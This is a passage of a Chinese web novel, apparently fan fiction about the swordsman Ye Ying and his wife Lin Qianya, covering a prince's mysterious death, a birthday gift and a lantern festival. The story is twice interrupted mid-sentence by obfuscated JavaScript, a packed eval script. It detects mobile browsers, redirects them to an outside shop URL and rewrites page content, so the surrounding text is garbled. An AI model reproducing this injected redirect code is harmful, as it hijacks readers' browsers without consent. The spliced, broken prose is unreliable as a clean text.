声音软软的还带着没睡醒的鼻音,像只找到了窝的小动物。 叶英手臂一僵,随即就缓缓收紧,将她完全圈进自己怀里。他下巴抵着她柔软的发顶,鼻尖萦绕着熟悉的淡淡药香,心头那点烦躁和忧虑,竟奇异地被这温软的触感给抚平了些许。 “嗯。”他低低应了一声,没再多说什么,只是将她抱得更紧了些。 林芊雅似乎得到了确认,在他怀里蹭了蹭,又找了个更舒服的姿势,呼吸很快又变得均匀绵长。 叶英却没什么睡意。 他就这么睁着眼,望着帐顶模糊的阴影想着今夜发生的事。 天道,记忆碎片,弟弟,南安王,还有那铺天盖地的剑影。 最后,就定格在妻子那张苍白却强作镇定的小脸上。 她若问起,他该如何解释? 实话实说?说南安王是他杀的,用一种她自己都理解不了的,近乎神迹的方式? 她信吗? 就算信了,她会怎么想?会不会觉得他这人太过危险?会不会因此害怕他? 他知道天快亮了。天亮之后,南安王府的消息大概就该传来了。到时候,她会是怎样的反应?震惊?怀疑?还是……别的什么? 他想了许多种可能,也想了许多种应对的说辞。可越想越觉得,无论怎么说,似乎都很难解释清楚昨夜那场连他自己都觉得离奇的“天谴”。 他向来不是个擅长言辞的人,更不懂那些弯弯绕绕。与其费尽心思去编造一个漏洞百出的谎言,不如…… 他垂眸看着怀里呼吸渐渐均匀的妻子,心里忽然就冒出一个念头。 算了。不想了。 车到山前必有路。到时候,见招拆招便是。 他闭上眼,决定暂时将这件头疼事抛到脑后,手臂却将她圈得更紧了些。 这么想着,紧绷的神经终于松懈下来,拥着怀中温软的身躯,意识也渐渐沉入黑暗。 天刚蒙蒙亮,林芊雅就醒了。 她向来觉浅,昨夜又哭过一场,眼睛还有些涩。她动了动身子,却发现自己整个人都被圈在一个温暖坚实的怀抱里。 是叶英。 他似乎睡得也不沉,她一有动静他便察觉了,手臂下意识就收得更紧了些,下巴轻轻抵着她的发顶。 “夫君?”她迷迷糊糊地唤了一声,声音还带着刚醒的沙哑和柔软,像只小猫似的在他怀里蹭了蹭,又找了个更舒服的位置窝着。 “嗯。”叶英低低应了一声,没多说别的,只是抬手将她颊边一缕散落的发丝别到耳后,指尖轻轻抚过她微肿的眼皮。 林芊雅便不再说话,只是更安心地往他怀里缩了缩,闭上眼睛,感受着他平稳的心跳和身上那股令人安心的海棠气息。 叶英也没再动。他就这么抱着她,下巴抵着她的额发,眼睛望着帐顶模糊的暗影。两个人便什么都没有说,就这样靠在一起享受晨间的亲密。 直到被春华带着点惊慌又有点……难以置信的声音隔着门板传进来打断: “小姐!小姐您醒了吗?出大事了!” 林芊雅心下一沉,立刻就坐起身。叶英也随即睁开了眼,扶着她坐稳,自己则掀开帐子下了床。 “怎么了?莫急,进来说话。”林芊雅定了定神扬声吩咐道。 春华几乎是推门冲进来的,脸上还带着未褪尽的惊色,连行礼都忘了,急急道:“小姐,方才外头都在传!南安王府……南安王府昨夜遭了天谴!” 林芊雅愣了一下,以为自己听错了:“什么?” “是真的!外头都传遍了!”春华声音压得更低,却掩不住其中的激动和一丝后怕,“说是昨儿夜里,南安王府上空突然就冒出无数道金光,像……像剑一样!唰唰唰地往下落!把王府好多地方都给毁了!南安王爷他……他被一道金光当胸穿过,当场就没了!” 林芊雅彻底怔住了。 ????? 天谴?金色剑光?南安王死了? 这都什么跟什么啊? 她知道这世界荒诞,但这未免也太荒诞了! 林芊雅的第一反应就是不信。甚至怀疑这是春华被人蒙骗,所相信的假象。 子不语怪力乱神,她自幼读书虽也敬神佛,但更多是出于礼法和对亡母的追思,对那些玄乎其神的事情向来是敬而远之,观之任之,更别提什么天谴降罚了。 可如今这些事,竟然让她对自己之前的想法都产生了一丝怀疑? 毕竟春华从来不是这种无的放矢的人,而且如果外头也传遍了…… 那南安王府昨夜动静那么大,不可能完全捂住。这样低劣的谎言一戳即破,根本就没有必要编造。她脑子里飞快地转着。 南安王死了? 这个政敌,这个曾经当众羞辱她,后来又屡次在暗地里针对林家的南安王,就这么突然死了?还是以这样一种匪夷所思的方式? 是谁干的?不,不可能。哪有人能弄出那么大的动静,还能不留下任何痕迹,让所有人都以为是天罚? 难道……这世上真有鬼神? 这个念头让她自己都觉得荒谬。 可她仔细回想近来发生的种种,父亲在江陵的险境,刘家的突然倒台,还有她自己几次三番的遇险与化险为夷……似乎总有一种无形的力量在拨动着什么,操控着她的人生。 她下意识地转头看向叶英。 叶英就站在床边,已经穿戴整齐,白发束起,面色平静,仿佛只是在听一件与己无关的闲事。见她看过来,他也只是回望她,眼神清澈,并无异样。 看来……应该和夫君无关。毕竟夫君身无记忆,如今又少年白发失忆忘家。 纵然武功高强,却每每让她心疼,想来定然不会是夫君了。 林芊雅收回目光,垂眸沉思了片刻。 最后还是想不出到底是谁在这背后做推手。干脆摇摇头,不想了。 不管这“天谴”背后到底是谁,或者是什么力量,至少眼下看来,是帮了他们一个大忙。 南安王一死,王府必然大乱,短时间内,应该无人再有余力针对父亲和她了。这对如今风雨飘摇的林家来说,无疑是喘息的契机。 于情于理,似乎都该……表示一下? 她心里那点对神鬼之说的无视,在切实的利益面前稍稍松动了一些。 想了想,她开口,神色冷静地吩咐道: “春华,你悄悄去打听清楚,昨夜王府具体是什么情形,还有……外头如今都是怎么说的。” “是,小姐!”春华应了一声,匆匆退了出去。 林芊雅坐在床边,又愣了一会儿神,才起身梳洗。等她收拾停当,春华也回来了,带回了更详细也更离奇的传闻:金光万道,剑影横空,王府多处被毁,南安王毙命,世子哭晕过去数次,阖府上下皆言“天罚”。 每听一句,林芊雅眉间的疑惑就更深一分。 这描述……未免太像话本里的情节了。之前京城里出点怪事也就算了,现在连天象都变得这么奇怪。 等春华说完,她沉默良久,终于轻轻叹了口气。 “罢了。”她低声道,“不管是不是真有神明,此番……总归是帮了我们。想来应该是友非敌才是。” 她转头对着旁边的婢女吩咐了几句,然后又看向一直安静站在窗边的叶英,柔声道: “夫君,你过来一下。” 叶英依言走到她面前。 林芊雅牵起他的手。并没有收获 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224201|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抵抗。 他的手温暖干燥,指腹有薄茧,握起来很踏实。 她没说什么,只是拉着他往外走。 叶英任由她牵着,心中却有些疑惑。 这是要去哪? 林芊雅一路牵着他,穿过回廊,来到了后花园一处僻静的角落。这里有一小片空地,旁边是几缕长得极好的翠竹,花园中央摆着一张小小的香案,上面是一些香炉、果品,甚至还有一叠黄纸。 林芊雅亲自上前,将香案摆正,又检查了一下香烛果品。然后才转身,率先走到香案前,提起裙摆端端正正地跪了下去,拜了三拜。 然后又看向叶英,仰起脸,用眼神示意叶英也跪下: “夫君,来。你也拜一拜,谢谢这位神明。” 叶英…… 他看着面前的香案,又看了看跪得一脸虔诚严肃的妻子,一时有些茫然。 但他向来不会违逆她的意思,尤其她现在神情如此郑重。他略一迟疑,便也走到她身边,撩起衣摆,屈膝跪了下来。 林芊雅见他跪好,这才从春华手里接过三支点燃的线香,自己双手持着,举到额前,闭目低声祝祷了几句。说的无非是“信女林氏,敬谢天恩,庇佑家父平安,化解灾厄”之类的话。 祷毕,她将香插进香炉,然后示意叶英也拜一拜。 叶英便照做了。他学着她的样子,双手虚合,对着香案拜了三拜。动作有些生硬,心里却是一片空白。 拜完之后,林芊雅却没有立刻起身。她让春华端来一盆清水,水里还飘着几片新鲜的柚子叶。她拿起一片湿漉漉的柚子叶,先在自己身上轻轻拍打了几下,边打边低声念叨:“晦气散,晦气散……” 接着,她转向叶英,用那片柚子叶,开始在他身上也轻轻拍打起来,从肩膀到后背,动作轻柔却认真。 叶英终于忍不住了。 他抬手轻轻握住妻子拿着柚子叶的手腕,阻止了她的动作,眉头微蹙,声音里带着明显的困惑:“芊雅,你这是……?” 林芊雅抬头看他,见他一脸不解,便很自然地解释道: “夫君不知吗?这是古礼。昨夜……那等事,虽不知是哪路神明所为,但终究是帮我们除了一大患。我们既然受了恩惠,自当拜谢。而这柚子叶沾清水,有驱邪散晦之效。若这世间真有命数天理,想来我们夫妻二人总归应当算是命不太好的那种,如今祛祛邪也好,散散晦气也好。” 她顿了顿,脸上露出一丝罕见的,带着点不好意思的感慨:“说来也是奇了,我从前是从不信这些的。可昨夜之事,实在太过离奇……或许这世间,当真有些我们无法理解的存在吧。既然有,该有的礼数,便不能废。” …… 叶英看着妻子那双清澈认真的眼眸,又看了看她手里还滴着水的柚子叶,再看着她身上被拍湿的衣角,想起昨夜那铺天盖地,连他自己都控制不住的剑影…… 张了张嘴,想说点什么。 想说那不是什么神明,是你夫君我。 不用拜,也不用散晦气,我还活着呢。 可这些话在喉咙里滚了几滚,最终却一个字也吐不出来。 怎么说?告诉她真相? 然后呢?告诉她那股力量连他自己都掌控不住?告诉她这一切都源于一场他和某个不靠谱天道的交易? 他看着她因为南安王之死而稍稍放松了一些的眉眼,看着她认真执行着古礼,以为能消灾祈福的模样,那些解释的话,便都堵在了胸口。 最终,他只是极轻地叹了口气,松开了握着她的手,低声道:“……无妨。你继续吧。” 林芊雅便又拿起柚子叶,在他衣摆上轻轻拍了拍,嘴里还小声念叨着:“好了好了,晦气都散掉,平平安安……” 叶英笔直地跪在那里,任由妻子拿着柚子叶在他身上拍打,脸上没什么表情,心里却是一片难以言喻的复杂。 他想,这大概是他这辈子经历过的最荒诞,也最……让他不知该如何是好的时刻了。 37. 生辰喜乐 柚子叶驱邪的仪式算是结束了。 林芊雅看着叶英身上那几处被她拍得微湿的衣料有些不好意思地抿了抿唇,将柚子叶放回水盆里,又拉着叶英一起起身。 “好了,礼数算是尽到了。”她轻轻舒了口气,仿佛完成了一件大事,眉眼间那连日来的沉重阴郁,终于消散了些许,“不管怎么说,眼下这关,总算是过去了。” 叶英看着她微微放松的侧脸,心里那点因为被当成“神明”祭拜而产生的荒诞感,也随之淡去了一些。 只要她安心,怎样都好。 两人回到观澜院不久,林承泽也派人传了话来。 来传话的是林承泽身边一个极稳重的老仆,话也说得委婉,只道老爷已听闻外间传言,让小姐与姑爷不必惊慌,安心在府中即可,近日若无要事,尽量少出门。 话虽简短,但林芊雅和叶英都听懂了其中的意思。 南安王死得蹊跷,朝堂上必然震动。林家作为政敌,此刻最明智的做法便是闭门不出,静观其变。父亲这是在提醒他们,也是在保护他们。 林芊雅应了,又细细问了父亲的身体和江陵那边可有新消息,得知一切尚好,父亲只是叮嘱他们小心,这才真正放下心来。 接下来的几日,相府上下闭门谢客,异常安静。 外头关于南安王府“天谴”的传闻却愈演愈烈,各种离奇的说法都有,绘声绘色,仿佛人人都亲眼看见了那夜的金光万道剑影横空。 南安王府治丧,世子萧琰据说哭晕过去好几回,整个人都垮了,王府上下乱成一团,往日依附的势力也多有观望,甚至悄然疏远。 朝堂上暗流涌动,皇帝似乎也被这突如其来的天罚震住,下旨令有司详查,可怎么查?查天意吗?最后也不过是雷声大雨点小,草草定了暴毙勒令王府低调治丧了事。 林承泽在书房里听了暗卫详细的回报,沉默了许久。 他坐在太师椅里,手指无意识地敲着桌面。 南安王死了。死得如此……戏剧化。 他并非笃信鬼神之人,甚至因自身来历,对此类玄乎之事向来存疑。可这次,连他也摸不准了。 是有人在暗中相助林家?还是南安王府得罪了别的什么不得了的存在?或者……真就是巧合到极点的“天意”? 他想不明白。 但无论如何,南安王一死,压在头顶最大的一块石头骤然搬开,林家面临的危局瞬间缓解了大半。这总归是好事。 至于背后真相……既然眼下查不出,那便暂时搁置。朝堂风云变幻,机会稍纵即逝,他得趁着对手阵脚大乱,尽快巩固自身,厘清残局。 他长长吐出一口浊气,提笔开始写几封紧要的信函。紧绷了数月的心弦,终于得以稍稍松弛。 相府里,林芊雅也渐渐从最初的震惊和茫然中恢复过来。 她依旧不信什么天谴,但也不再像最初那样执着于探究真相。既然想不通,那便暂且放下。重要的是结果——那个曾经羞辱她、针对林家的南安王,已经不在了。笼罩在父亲头顶的阴云,似乎也散开了一些。 她依旧每日打理府中事务,看书,偶尔和叶英在院子里走走。只是眉宇间那份挥之不去的沉重,似乎淡去了些许。 叶英将她的变化看在眼里,心中那点因为不知如何解释而产生的烦闷也慢慢平复了。 这样也好。 她不必知道那些血腥和离奇的真相,不必为他失控的力量而担忧。她只需要知道,威胁暂时解除了,可以稍微安心一些,就够了。 至于他自己……他低头看了看自己的手。那股力量依旧沉睡在体内,他能感觉到它的存在,庞大,陌生,却又隐隐与他血脉相连。 天道自那夜之后便再没出现过,仿佛那场“天谴”只是它一时兴起的恶作剧,做完便拍拍屁股走人了。 叶英也没再去主动联系它。 有些事情,不知道比知道要好。至少现在,他还能这样平静地陪在她身边。 日子似乎又回到了之前的平静,甚至比之前更多了几分难得的安宁。 这天午后,相府侧门当值的门房是个姓张的老仆,正倚着门框有些昏昏欲睡。 秋日阳光暖融融的,晒得人发懒。 忽然,他听见一点细微的动静,抬眼一看,只见门边不知何时站了个小娇客。 小姑娘约莫八九岁的年纪,生得玉雪可爱,一双眼睛又大又亮,黑白分明,透着股机灵劲儿。 她穿着一身颇为讲究的鹅黄间黑白短裙的衣裙,料子是极好的云锦,衣襟袖口都用金线绣着繁复精巧的花纹,头上梳着双丫髻,各簪着一朵小巧的赤金海棠花,最令人惊奇的竟然是背后居然背着两把奇兵,金玉点缀其上。 一细一粗,门房不太懂兵器,但想来应该是叫做轻重剑才对。 这一身打扮,一看便不是寻常人家的孩子,倒像哪个富贵人家娇养的小小姐。 只是她此刻独自一人出现在相府侧门口,身边既无丫鬟婆子跟着,也无车马等候,就那样安安静静地站着,仰着小脸,打量着相府门楣上的匾额,神情专注不像迷路,倒像是在确认什么一样。 张门房揉了揉眼睛确定自己没看花,便直起身,和颜悦色地开口问道:“这位小小姐,可是迷路了?你家大人呢?” 那小姑娘闻声转过头来,看了张门房一眼,却没回答他的问题。她歪了歪头,像是在思索什么,然后开口,声音清脆,吐字清晰: “这里是林丞相府上,对吗?” 张门房点头:“正是。” 小姑娘又眨了眨眼,继续问:“那……府上的姑爷,是叫叶英,对吗?” 张门房愣了一下,没想到这小姑娘会问这个。他仔细打量了对方几眼,见她神情认真不似玩笑,便也认真地回答道:“是啊,我家姑爷正是叶英叶公子。小小姐,你问这个做什么?你认识我家姑爷?” 他心下有些奇怪。 姑爷来京城不久,又深居简出,除了府里人,外头认识他的人可不多。这衣着华贵的小姑娘是从哪儿知道姑爷名讳的? 那小姑娘听了他的回答,脸上没什么特别的表情,只是那双大眼睛里飞快地掠过一丝果然如此的了然。 她没再问什么,也没回答张门房的问题,只是对着张门房点了点头,像是确认了什么重要的事情。 然后,她转过身就这么迈开步子,不紧不慢地沿着街道离开了。背影挺直,脚步稳当,丝毫没有寻常孩童的跳脱。 张门房看着她小小的身影消失在街角,挠了挠头,心里越发觉得古怪。 这谁家孩子?怎么奇奇怪怪的?问了姑爷的名字就走? 他想了想,觉得这事似乎也没什么要紧,便又缩回门边,继续晒他的太阳打他的盹去了。 秋日的阳光依旧暖融融的,洒在相府安静的侧门上,仿佛刚才那个金玉般的小女孩从未出现过。不过这些却影响不了好不容易安定下来的两人。 丫鬟们收拾完碗筷退下时,正是午后阳光最好的时候。 叶英本打算去院中走走,却听见廊下两个洒扫的小丫头一边干活一边闲聊天,声音不大不小,恰好能传进他耳朵里。 “再过几日便是花朝节了吧?” “可不是嘛,听说往年花朝节,街上可热闹了,还有花神祭祀,姑娘们都打扮得漂漂亮亮去赏花。” “你说小姐今年会不会出门?咱们来府里这么久,还从没见过小姐过生辰呢。” “嘘——小声点,别让小姐听见。我听春华姐姐说过,小姐不喜欢提这事,好像……好像因为夫人就是她小时候过生辰那几日没的,所以……” 后面的话压得更低了,叶英没再听清。 花朝节?生辰? 他从未问过她的生辰。却原来是在花朝节。 她从不提自己的生辰。不是忘了,是不愿提。 他沉默地走进房内,林芊雅正坐在窗边看书,阳光透过窗棂洒在她身上,宁静而美好。 她抬头见他回来,露出一个惯常的温柔笑容,又递上一杯温水,丝毫没有即将过生辰的期待或异样。 叶英接过水杯,目光在她脸上停留了片刻。 她似乎真的……并不在意自己的生辰。 是因为母亲早逝,缺少那份最初的庆贺? 还是因为后来那场沸沸扬扬的退婚,让所有值得欢喜的日子都蒙上了阴影? 他心里忽然有些不是滋味。旁人有的,他的夫人也该有。 但他对京城里庆贺生辰的那些繁文缛节一概不知,送什么金银珠宝绫罗绸缎,似乎也流于俗套,配不上她,更非他所长。 他能给的,唯有他自已的方式。 接下来的几日,叶英似乎比平时更忙了些。 除了固定的练剑时间,他偶尔会独自在院中停留更久,目光掠过那些含苞待放的花树,心中默默计算着时节。 林芊雅却只当他是喜爱春日景致,并未多想。 他花了三天时间,才从库房角落里翻出一块合适的木料。 不算名贵,但质地细腻纹理干净。他记得她发间常戴的那几根簪子,多是素银或白玉,样式简洁,不张扬但衬她。 他没做过簪子,也不知道该从何下手。 只能凭着感觉用小刀一点点削出形状,用砂纸一遍遍打磨光滑。簪身要流畅,簪头要精致,又不能太过繁复,毕竟妻子不喜欢太张扬的东西。 要沉静简约才好。像他,也像她。 因此指尖被刀划破了好几次,指腹磨得粗糙发红,他也没在意。春华还偶然撞见一回,吓得差点叫出声,被他一个眼神止住了。 “别告诉她。”他只说了这一句。 春华愣了愣,随即捂住嘴,用力点头,眼睛里却亮晶晶的,像是知道了什么了不得的秘密。 花朝节前夜,叶英等林芊雅睡熟了,悄悄起身没惊动任何人独自去了后园。 园子里有一小片茉莉,这个时节还没到盛放的时候,但有一株不知怎的,提前开了几朵,白生生的,在月光下泛着柔光。 他挑了一朵开得最好的轻轻折下。 回到卧房,他将那朵茉莉放在她窗台外侧。推开一条缝的窗户,正好能让夜风将那缕幽香送进屋里。 做完这些,他才重新躺回她身边。 她还在睡,呼吸均匀,眉心舒展,脸上带着一点不知梦见了什么的柔和。 叶英看着她的睡颜,心里想,明日她醒来,看见那朵花,会是什么表情? 他有些期待,又有些紧张。 林芊雅是被一缕若有若无的香气唤醒的。 那香气很淡却很清晰,像是有什么东西就在窗外。 她睁开眼,疑惑地坐起身,推开窗户。 窗台上,静静躺着一朵白茉莉。 花瓣上还沾着清晨的露珠,在初升的阳光里泛着晶莹的光,显然是刚折下来不久。 她愣住了。 这是…… “早上起来,在院子里看见的。”叶英的声音从身后传来,平淡得像在说今天天气不错,“觉得还不错,就放那儿了。” 林芊雅回头看他。 他站在床边,已经穿戴整齐,白发束起,神色与往常无异,仿佛那朵茉莉真的只是他随手摘来一放的寻常之物。 可她知道不是。 院子里有没有开花的茉莉,她比他清楚。 她张了张嘴,想说点什么,却发现喉咙有些发紧。最后只低低“嗯”了一声,小心翼翼地将那朵茉莉拿下来,凑近鼻尖嗅了嗅。 很香。 早膳后,叶英却并未像往常一样立刻去书房或练剑,忽然起身向她伸出手。 “芊雅,陪我去园子里走走吧”他说。 林芊雅有些意外。他向来不会主动邀她做什么,今日是怎么了? 但她还是将手递给他,任由他牵着往后园走去。 后园的花树开得正好。桃李争艳,海棠含苞,春风拂过,落英缤纷。 叶英牵着她走到一株开得最盛的海棠树下,停下脚步转过身,看着她。 “今日是你生辰。”他看着她,忽然开口道。 不是疑问,不是试探,只是陈述。 林芊雅脸上的笑僵了一瞬。 她下意识想说什么,想说“我不记得了”,想说“没什么好过的”,想说的很多,可对上他那双沉静的眼眸,那些话便都堵在了喉咙里。 他怎么知道的? 叶英没有给她反应的时间。 他松开她的手,退后一步,然后抬手,并指如剑。 没有剑气纵横,没有锋芒逼人。只有一道柔和的气劲,从他指尖流淌而出,轻轻拂过头顶那株海棠树。 满树繁花像是被什么无形的手轻轻托起,纷纷扬扬地飘落下来。粉白的花瓣如雨般洒落,落在他如雪的白发上,落在她惊愕的眉眼间,落在两人之间铺成薄薄一层柔软的花毯。 他在花雨中舞剑。 不是杀伐之剑,不是修习之剑,而是她从未见过的一种剑——柔和、舒展、流畅,每一式都像是从这春日的景致里生长出来的。花瓣在他周身旋舞,随着他的动作起落翻飞,像是被驯服的精灵,心甘情愿地为他伴舞。 他的白发在花雨中飞扬,眉眼沉静如常,可那姿态,那气韵,竟让她看得有些痴了。 像画里走出来的人。 不,像花神。 ……属于她的花神。 不知过了多久,他收势,站定。 漫天花雨也渐渐停歇,最后几片花瓣悠悠地落在她肩头。 他走到她面前,从袖中取出一样东西。 是一枚木簪。 簪身流畅,纹理细腻,能看见的是,那簪子打磨得很仔细,每一处都光滑圆润,没有一丝毛刺。也能看见,他递簪子过来的那只手,指腹上有好几道细小的伤口,有的已经结痂,有的还泛着新愈的淡红。 “给你。”他将木簪递给她,声音依旧平稳,但仔细听,能辨出一丝不易察觉的紧绷,“我雕的。不及金银贵重,但……胜在干净。” 林芊雅接过那枚木簪,低头看着。 簪身刻得很仔细,每一刀都很认真,虽然有些地方还带着生涩的痕迹,但能看得出,做它的人有多用心。 她想起这几日他偶尔不在屋里的时候,想起春华那几日看她时那种奇怪的眼神,想起昨夜那朵窗台上的茉莉。 原来……原来是这样。 她的眼泪毫无征兆地涌了出来夺眶而出,顺着脸颊滚落,啪嗒啪嗒地砸在那枚木簪上。 叶英显然没料到会是这个反应。他愣了一下,随即有些无措地抬手用指腹去擦她的眼泪。 “怎么……”他顿了顿,似乎不知道该说什么,最后只干巴巴地吐出几个字,“别哭……生辰,该高兴才是。” 林芊雅听着这话,眼泪流得更凶了。 “……谢谢,”她声音哽咽,带着哭腔,却努力想对他笑,“夫君……我……我很喜欢……非常非常喜欢……”她从未收到过这样的礼物,不是用钱买来的,而是用他的心他的时间他的专注换来的。比任何珍宝都要贵重。 叶英看着她哭成这样,眉头微微蹙起,手指笨拙地继续擦着她脸上的泪,可越擦越多,怎么也擦不完。 他叹了口气,干脆将她拥进怀里,下巴抵着她的发顶。 “喜欢就好。”他低声说,“别哭了。” 林芊雅将脸埋在他胸口,用力点头,眼泪却止不住。 这是她这么多年来,过得最好的一个生辰。 傍晚时分,林承泽回府时,一眼便察觉了女儿的不同。 她坐在窗边,手里拿着一本书,可目光却时不时落在窗外,唇角弯着柔和的弧度,眉眼的沉郁似乎淡了许多。 更显眼的是她发间那枚簪子。 木质的,不是他给她置办的那些金银玉饰。女儿向来喜欢素雅,但还从来没有带过木质这等便宜的东西。 他目光落在那簪子上,看了两眼,心里便有了数。那雕工生涩得很,一看就不是出自匠人之手。 林承泽挑了挑眉。 他想起前些日子暗卫报来的消息,说姑爷这几日总往库房跑,还让小厮找了块木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶英小心地护在她身侧,为她隔开拥挤的人流。目光偶尔掠过她被灯火照亮的侧脸,见她眼中难得映出这般鲜活的色彩,他心中微微一动。 自己痴长她七岁,又是这般经历,心性早已沉淀得近乎枯寂。 而她正当韶龄,合该如此刻般,多些欢愉,少些愁绪。 平日见她那般老成稳重,不知往日里独自承受了多少苦楚。 若能常见她今日这般情态,才好。 叶英留意到她的目光在一盏造型别致——甚至堪称奇特——的胖乎乎小雏鸡灯上多停留了一瞬。 那灯嫩黄可爱,瞪着一对黑豆眼,头顶三根呆毛倔强翘着,憨态可掬。 他心中失笑,面上却不显,只上前一步,主动付钱买下了那盏小鸡灯,递到她手中。 林芊雅接过灯,有些惊讶,随即眼底漫上真切的笑意。 她提起那盏憨态可掬的灯,凑到叶英面前比了比,忽然噗嗤一声笑出来。这一笑,不同于往日那种温婉含蓄的浅笑,而是带上了几分属于她这个年纪的活泼与狡黠,眼波流转,灵动异常。 她接过灯,提着举高,凑到他脸旁边比了比,认真端详了一下,然后笑道:“夫君,你看这灯,像不像你?” 叶英顿了一下。 他看了看那盏灯,圆滚滚傻乎乎的,眼睛黑溜溜的,呆得很。 再看看她,眼里盛满了促狭的笑意,亮晶晶的像是偷到了糖的孩子一样。 他唇角微微扬起,声音却依旧平淡:“胡闹。” 林芊雅笑出了声。 那盏小鸡灯,就这么被她一路提在手里,再没放下过。 越往前走,人越密集。 林芊雅正仰头看一盏巨大的走马灯时,忽然被身后一个急着往前挤的人撞了一下。她脚步踉跄,还没来得及站稳,手便被一只温热的大手紧紧握住了。 叶英反应极快,立刻伸手扣住她的手腕稳稳地将人带回身边。 待她站定,那手却并未松开,反而顺势下滑,无比自然地穿过她的指缝,与她十指紧紧相扣。 “人多。”他说,语气寻常,目光依旧看着前方。 林芊雅脸颊绯红,低下头却没有挣脱,反而轻轻回握住他。 指尖在他温热的掌心悄悄挠了一下,感受到那只大手瞬间收紧,将她的小动作完全包裹住,她的心跳也跟着漏跳了一拍。 走过石桥时,她看见桥头围了一圈人,走近了才发现,是有人在卖姻缘牌。 一块块小小的木牌,系着红绳,可以刻上两个人的名字,然后挂在桥边的海棠树上。据说挂得越高,姻缘越长久。 林芊雅脚步微顿,目光落在那些雕刻着并蒂莲、双飞燕纹样的木牌上,眼中流露出显而易见的向往。 但她只是静静看着,并未像寻常少女那般雀跃上前,唇瓣微动似乎想说什么,最终却只是化为一个浅浅的略带羞涩的笑意,轻轻摇了摇头,低声道:“我们走吧……” 叶英却将她的喜爱与矜持都看在眼里。 他握了握她的手,止住她欲离开的脚步,主动走向那摊位。“劳烦婆婆,取两个木牌。” 婆婆笑着递过两块半个巴掌大的木牌,凑近还能闻到淡淡的兰香。 叶英付了钱,将刻刀和木牌递给林芊雅。 林芊雅接过,指尖轻轻摩挲着木牌光滑的表面抬头看向叶英,眼中有些惊喜。她没想到他竟如此细心,看透了她未曾说出口的渴望。 “刻我的名字?”她又小声确认了一下。 “嗯。”叶英点头。 两人便站在摊旁,就着摊上悬挂的小灯,认真地刻起来。 林芊雅抿着唇,极其认真地在木牌上一笔一划刻下“叶英”二字。叶英则在她那块上,刻下“林芊雅”三个字。 他的字迹遒劲有力,带着剑客特有的锋芒,却又小心翼翼地控制着力度,生怕刻坏了木牌。 他将她那块递给她,自己拿着自己那块,然后牵着她走到桥边那株最大的海棠树下。 树很高,枝丫伸向夜空,上面已经挂满了红绳木牌,在灯火里轻轻摇晃。 叶英抬头看了看,选了一根最高的枝条。 他脚尖轻点,身形拔地而起,轻飘飘地落在那根枝条旁,将两块系在一起的木牌稳稳挂了上去。 然后他落下,重新回到她身边。 林芊雅仰头看着那两块木牌。它们挂在最高处,被夜风轻轻吹动,在月华与灯火交织的光晕里,一闪一闪的。 “太高了。”她轻声说,“别人都看不见。” 叶英低头看她。 “不用别人看见。”他说,“我们看见就行。” 林芊雅愣了一瞬,随即弯起唇角,没再说话。只是握着他的手,更紧了些。 回去的路上,他一手提着她那盏小鸡灯,一手紧紧牵着她。 灯影晃晃悠悠,在地上拖出两道长长的影子,挨得很近。 林芊雅走在他身侧,脚步轻快得像踩在云上。 今夜没有盛大的宴席,没有贵重的贺礼,只有一场独属于她的花雨,一枚他亲手刻的木簪,一朵窗台上的茉莉,一盏憨头憨脑的小灯,两块挂在最高处的姻缘牌,和一只始终没有松开过的手。 可她心里,却满满当当的前所未有地踏实。 她想,这是她这辈子,过得最好的一个生辰。 她侧头看向他。 灯火映着他的侧脸,眉眼沉静,白发如雪,依旧是那副谪仙般的清冷模样。可他提着那盏小鸡灯的样子,又莫名有些…… 她忍不住又笑了。 叶英察觉到她的目光,侧头看她:“笑什么?” 林芊雅摇摇头,将脸转回去,只轻轻靠在他手臂上。 “没什么。”她说,声音软软的,“就是想笑。” 叶英没再问,只是将她往身边带了带,继续往前走。 月光很好,灯火很好,夜风也很好。 她忽然觉得,往后的每一个生辰,好像都可以期待一下了。 38. 家有喜事 如此平静的日子,便又过了月余。 林芊雅的气色一日比一日好了起来。脸上有了血色,眼底的青影也淡了许多,整个人瞧着比之前精神了不少。 这日清晨,林芊雅醒来时身侧已经空了。她伸手摸了摸那边的被褥,还留着些余温,想来叶英刚起身不久。 她坐起身,披了件外衫走到妆台前。 镜子里的人气色比从前好了些,脸颊上总算有了点血色。她取出那枚花朝节的木簪,正要自己绾发,忽然一只手从身后伸过来,轻轻接过了簪子。 她一愣,抬眼从镜子里看去,叶英不知什么时候已经站在她身后了。他换了身素色常服,发梢还有些湿,大约是刚沐浴过。 “夫君?”她有些意外,他向来不碰这些女儿家的事。 叶英没说话,只是拿起木梳动作极轻地开始梳理她的头发。他的动作有些生疏,甚至带着点笨拙,指尖偶尔会碰到她的颈侧,凉凉的,却又让人莫名安心。 林芊雅透过镜子看着他专注的模样。他眉头微微蹙着,像是在对待什么极要紧的事,认真得有些好笑。她忍了忍,没忍住,唇角弯了起来。 绾发的过程确实不太顺利。他显然不擅长这个,梳子好几次被头发缠住,他又怕扯疼她,只能一点点慢慢理。林芊雅也不急,就这么静静坐着,看他在那儿手忙脚乱。 折腾了好一会儿,总算绾好了。一个松松垮垮的发髻,木簪斜斜插着,倒也有几分随意的风韵。 叶英似乎松了口气,低声道:“好了。” 林芊雅对着镜子左右看了看,忍不住笑出声来:“夫君这手艺,倒是独一无二。” 正巧春华端着温水进来,听见这话凑过来一看,噗嗤就笑了:“哎呀姑爷,您这绾的是哪派剑法催生的发髻呀?瞧着倒是……挺别致的!” 